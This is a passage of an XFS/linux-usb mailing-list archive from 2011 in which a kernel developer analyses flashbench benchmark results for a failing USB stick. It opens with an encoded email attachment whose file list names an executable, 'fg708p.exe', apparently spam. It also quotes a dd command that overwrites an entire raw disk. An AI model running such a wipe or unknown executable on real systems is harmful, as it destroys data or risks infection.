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 AADnmxUAAAA= ------=_NextPart_000_001A_01CBE57D.16002F44-- From arnd@arndb.de Fri Mar 18 14:07:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_56 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IJ7mZ8050878 for ; Fri, 18 Mar 2011 14:07:53 -0500 X-ASG-Debug-ID: 1300475443-5983015e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from moutng.kundenserver.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 33EA513DA53C for ; Fri, 18 Mar 2011 12:10:43 -0700 (PDT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.171]) by cuda.sgi.com with ESMTP id aOvM0zs6cICtCzbE for ; Fri, 18 Mar 2011 12:10:43 -0700 (PDT) Received: from wuerfel.localnet (port-92-200-94-158.dynamic.qsc.de [92.200.94.158]) by mrelayeu.kundenserver.de (node=mrbap4) with ESMTP (Nemesis) id 0MhU6E-1QMC5i17DO-00MYcb; Fri, 18 Mar 2011 20:10:40 +0100 From: Arnd Bergmann To: Justin Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Date: Fri, 18 Mar 2011 20:10:37 +0100 User-Agent: KMail/1.13.5 (Linux/2.6.38-rc8+; KDE/4.5.1; x86_64; ; ) Cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz , flashbench-results@lists.linaro.org References: <201103181659.46558.arnd@arndb.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201103182010.37455.arnd@arndb.de> X-Provags-ID: V02:K0:FI1KtmXAPSsKvYmdAWUqXpGm7dT9/ZaP4ZyMX2a1ir9 iIgCRL/xzF/3hxWy4tcUfu3fu6mHyuHViDFFYpcNnTnXHsV/O2 g6eRhrTxCTgzMlDNfhjo3WyvAAVu+KFQcaKqt05p0RyXsr6/26 Y1TNbkMrAzDI17HmjiFqRdRuk823lZ+n4QWEuiWC1yP8zWKqb+ qLilq4tgyW+gTjTw4WZTQ== X-Barracuda-Connect: moutng.kundenserver.de[212.227.126.171] X-Barracuda-Start-Time: 1300475444 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58279 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 18 March 2011 18:45:34 Justin Piszcz wrote: > On Fri, 18 Mar 2011, Arnd Bergmann wrote: > > Getting back to the rogiinal question, I'd recommend testing the > > stick by doing raw accesses instead of a file system. A simple > > Ok, here are the results: > > root@sysresccd /root % time dd if=/dev/zero of=/dev/sda oflag=direct bs=4M > dd: writing `/dev/sda': No space left on device > 1961+0 records in > 1960+0 records out > 8220835840 bytes (8.2 GB) copied, 283.744 s, 29.0 MB/s Ok, so no immediate problem there. > > I'm also interested in results from flashbench > > (git://git.linaro.org/people/arnd/flashbench.git, e.g. like > > http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html) > > That might help explain how the stick failed. > > Certainly, testing below, following this: > http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html I'm sorry, I should have been more specific. Unfortunately, running flashbench is not very user friendly yet. The results indicate that the device does not have a 2 MB erase block size but rather 4 or 8, which is more common on 8 GB media. > # ./flashbench --open-au --open-au-nr=1 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random > 2MiB 29.5M/s > 1MiB 29.1M/s > 512KiB 28.5M/s > 256KiB 22.8M/s > 128KiB 23.8M/s > 64KiB 24.4M/s > 32KiB 18.9M/s > 16KiB 13.1M/s > 8KiB 8.22M/s > > # ./flashbench --open-au --open-au-nr=4 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random > 2MiB 25.9M/s > 1MiB 21.8M/s > 512KiB 15M/s > 256KiB 11.9M/s > 128KiB 12.1M/s > 64KiB 13.6M/s > 32KiB 9.81M/s > 16KiB 6.41M/s > 8KiB 3.88M/s The numbers are jumping around a bit with the incorrectly guessed erasesize. These values should be more like the ones in the first test. Can you rerun with --erasesize=$[4 * 1024 * 1024]? Also, what is the output of 'lsusb' for this stick? I'd like to add the data to https://wiki.linaro.org/WorkingGroups/KernelConsolidation/Projects/FlashCardSurvey > # ./flashbench --open-au --open-au-nr=5 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random > 2MiB 29.2M/s > 1MiB 27.8M/s > 512KiB 18.4M/s > 256KiB 7.82M/s > 128KiB 4.62M/s > 64KiB 2.47M/s > 32KiB 1.26M/s > 16KiB 642K/s > 8KiB 327K/s This is where your drive stops coping with the accesses: Writing small blocks to four different erase blocks (2MB for the test, probably larger) works fine, but writing to five of them is devestating for performance, going from 30 MB/s to 300 KB/s, or lower if you were to write smaller than 8 KB blocks. The cutoff at --open-au-nr=4 is coincidentally the same as for the SD card I was testing. This is what happens in the animation in http://lwn.net/Articles/428799/. The example given there is for a drive that can only have two open AUs (allocation units aka erase blocks), while yours does 4. > (did not run one with 7) Note that the test results I had with 6 and 7 are without --random, so the cut-off there was higher for that card when writing an multiple erase blocks from start to finish instead of writing random sectors inside of them. > # ./flashbench --findfat --fat-nr=10 /dev/sda --blocksize=1024 --erasesize=$[2* 1024 * 1024] --random > 2MiB 22.7M/s 19.1M/s 15.5M/s 13.1M/s 29.5M/s 29.5M/s 29.6M/s 29.6M/s 29.5M/s 29.5M/s > 1MiB 20.6M/s 13.3M/s 13.3M/s 20.8M/s 18.1M/s 17.8M/s 18M/s 18.3M/s 18.8M/s 18.6M/s > 512KiB 18.4M/s 18.6M/s 18.3M/s 18.1M/s 23.5M/s 23.2M/s 23.5M/s 23.5M/s 23.4M/s 23.4M/s > 256KiB 26.9M/s 21.3M/s 21.2M/s 21M/s 21.1M/s 21.2M/s 21.1M/s 21.1M/s 20.6M/s 21M/s > 128KiB 22.2M/s 22.3M/s 22.6M/s 21.4M/s 21.5M/s 21.3M/s 21.6M/s 21.3M/s 21.4M/s 21.4M/s > 64KiB 23.9M/s 22.6M/s 22.9M/s 23M/s 22.5M/s 22.4M/s 22.4M/s 22.4M/s 22.5M/s 22.4M/s > 32KiB 18.2M/s 18.3M/s 18.3M/s 18.3M/s 18.3M/s 18.4M/s 18.3M/s 18.2M/s 18.3M/s 18.3M/s > 16KiB 12.9M/s 12.9M/s 13M/s 13M/s 12.9M/s 13M/s 12.9M/s 12.9M/s 12.9M/s 12.9M/s > 8KiB 8.14M/s 8.15M/s 8.15M/s 8.15M/s 8.15M/s 8.14M/s 8.14M/s 8.15M/s 8.15M/s 8.06M/s > 4KiB 4.07M/s 4.08M/s 4.07M/s 4.06M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s > 2KiB 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.01M/s 2.01M/s 2.01M/s 2.01M/s 2.02M/s > 1KiB 956K/s 954K/s 956K/s 953K/s 947K/s 947K/s 947K/s 950K/s 947K/s 948K/s > One thing that is very clear from this is that this stick has a page size of 8KB, and that it requires at least 64 KB transfers for the maximum speed. If your partition is not aligned to 8 KB or more (better: to the erase block size, e.g. 4 MB) or if the file system writes smaller than 8 KB naturally aligned blocks at once, the drive has to do read-modify-write cycles that severely impact performance and the expected life-time. I cannot see any block that is optimzied for storing the FAT, which is good, as this means that the manufacturer did not exclusively design the stick for FAT32, as is normally the case with flash memory cards. For this stick, I would strongly recommend creating the file system in a way that writes at least 16 KB naturally aligned blocks at all times, but I don't know if that's supported by XFS. Also, the limitation of forcing a garbage collection when writing to more than four 4 MB (or so) segments may be a problem, depending on how XFS stores its metadata. The good news is that it can do random write access inside of the erase blocks. Arnd From jpiszcz@lucidpixels.com Fri Mar 18 14:23:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_56 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IJNpBV051539 for ; Fri, 18 Mar 2011 14:23:56 -0500 X-ASG-Debug-ID: 1300476406-785203ad0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A2A9CB07580 for ; Fri, 18 Mar 2011 12:26:47 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with ESMTP id 5gEOxKZ99dku8ZvV for ; Fri, 18 Mar 2011 12:26:47 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id B461212036B; Fri, 18 Mar 2011 15:26:46 -0400 (EDT) Date: Fri, 18 Mar 2011 15:26:46 -0400 (EDT) From: Justin Piszcz To: Arnd Bergmann cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz , flashbench-results@lists.linaro.org X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: <201103182010.37455.arnd@arndb.de> Message-ID: References: <201103181659.46558.arnd@arndb.de> <201103182010.37455.arnd@arndb.de> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300476407 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 